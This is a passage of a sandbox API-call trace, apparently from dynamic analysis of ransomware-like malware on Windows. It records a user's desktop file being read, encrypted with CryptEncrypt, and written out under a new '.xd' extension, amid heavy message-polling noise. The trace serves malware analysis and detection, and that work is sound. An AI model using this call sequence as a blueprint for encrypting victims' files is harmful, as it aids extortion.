hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.911] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.911] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.912] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop")) returned 0x11 [0077.912] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u31ksfp09cy.pps.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0077.934] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.934] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.934] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.934] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.938] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0077.938] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x9f8e, lpOverlapped=0x0) returned 1 [0077.940] ReadFile (in: hFile=0x3d8, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0077.942] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 1 [0077.942] TranslateMessage (lpMsg=0x130f164) returned 0 [0077.942] DispatchMessageW (lpMsg=0x130f164) returned 0x0 [0077.943] Shell_NotifyIconW (dwMessage=0x1, lpData=0x130e7c8) returned 1 [0077.946] KillTimer (hWnd=0x70084, uIDEvent=0x1) returned 1 [0077.947] SetTimer (hWnd=0x70084, nIDEvent=0x1, uElapse=0x2ee, lpTimerFunc=0x0) returned 0x1 [0077.947] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.947] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.947] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.947] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0077.947] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.947] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.947] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0077.947] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.948] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0077.948] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.948] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.948] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.948] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0077.948] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0077.948] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164dfb0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0077.948] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0077.948] CryptGetKeyParam (in: hKey=0x164c8f0, dwParam=0x7, pbData=0x1629470, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629470*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0077.948] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.948] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0077.948] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.948] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.949] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0077.949] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.949] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.949] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0077.949] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.949] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.949] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.949] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.950] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0077.950] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621678, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0077.950] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0077.950] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x9f8e, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x9f90) returned 1 [0077.950] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.951] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.951] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.951] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.953] CharLowerBuffW (in: lpsz="byte[40849]", cchLength=0xb | out: lpsz="byte[40849]") returned 0xb [0077.953] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.954] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.954] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.954] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0077.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0077.954] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0077.954] CryptEncrypt (in: hKey=0x164c8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17f4a50*, pdwDataLen=0x130e618*=0x9f8e, dwBufLen=0x9f90 | out: pbData=0x17f4a50*, pdwDataLen=0x130e618*=0x9f90) returned 1 [0077.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.954] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.955] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.955] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.955] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.955] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.955] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.955] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.955] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.955] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0077.955] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.955] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.955] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.958] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.958] WriteFile (in: hFile=0x3c8, lpBuffer=0x17e0b20*, nNumberOfBytesToWrite=0x9f90, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17e0b20*, lpNumberOfBytesWritten=0x130f01c*=0x9f90, lpOverlapped=0x0) returned 1 [0077.959] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.959] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.959] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0077.959] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.959] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.959] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0077.959] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.960] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621240, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0077.960] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0077.960] CryptDestroyKey (hKey=0x164c8f0) returned 1 [0077.960] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.960] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.960] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.960] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.960] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.960] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0077.960] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0077.960] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.960] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.960] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0077.961] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.961] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.961] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.961] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.961] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.961] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.961] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.961] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.961] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.961] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.961] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.961] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.961] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0077.961] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.961] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.961] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.961] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0077.961] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.961] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0077.962] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0077.962] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0077.962] CryptReleaseContext (hProv=0x1631bb0, dwFlags=0x0) returned 1 [0077.962] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.962] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.962] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.962] FreeLibrary (hLibModule=0x74c60000) returned 1 [0077.962] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.962] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.962] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.962] CloseHandle (hObject=0x3d8) returned 1 [0077.962] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.963] CloseHandle (hObject=0x3c8) returned 1 [0077.975] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.976] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0077.976] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: 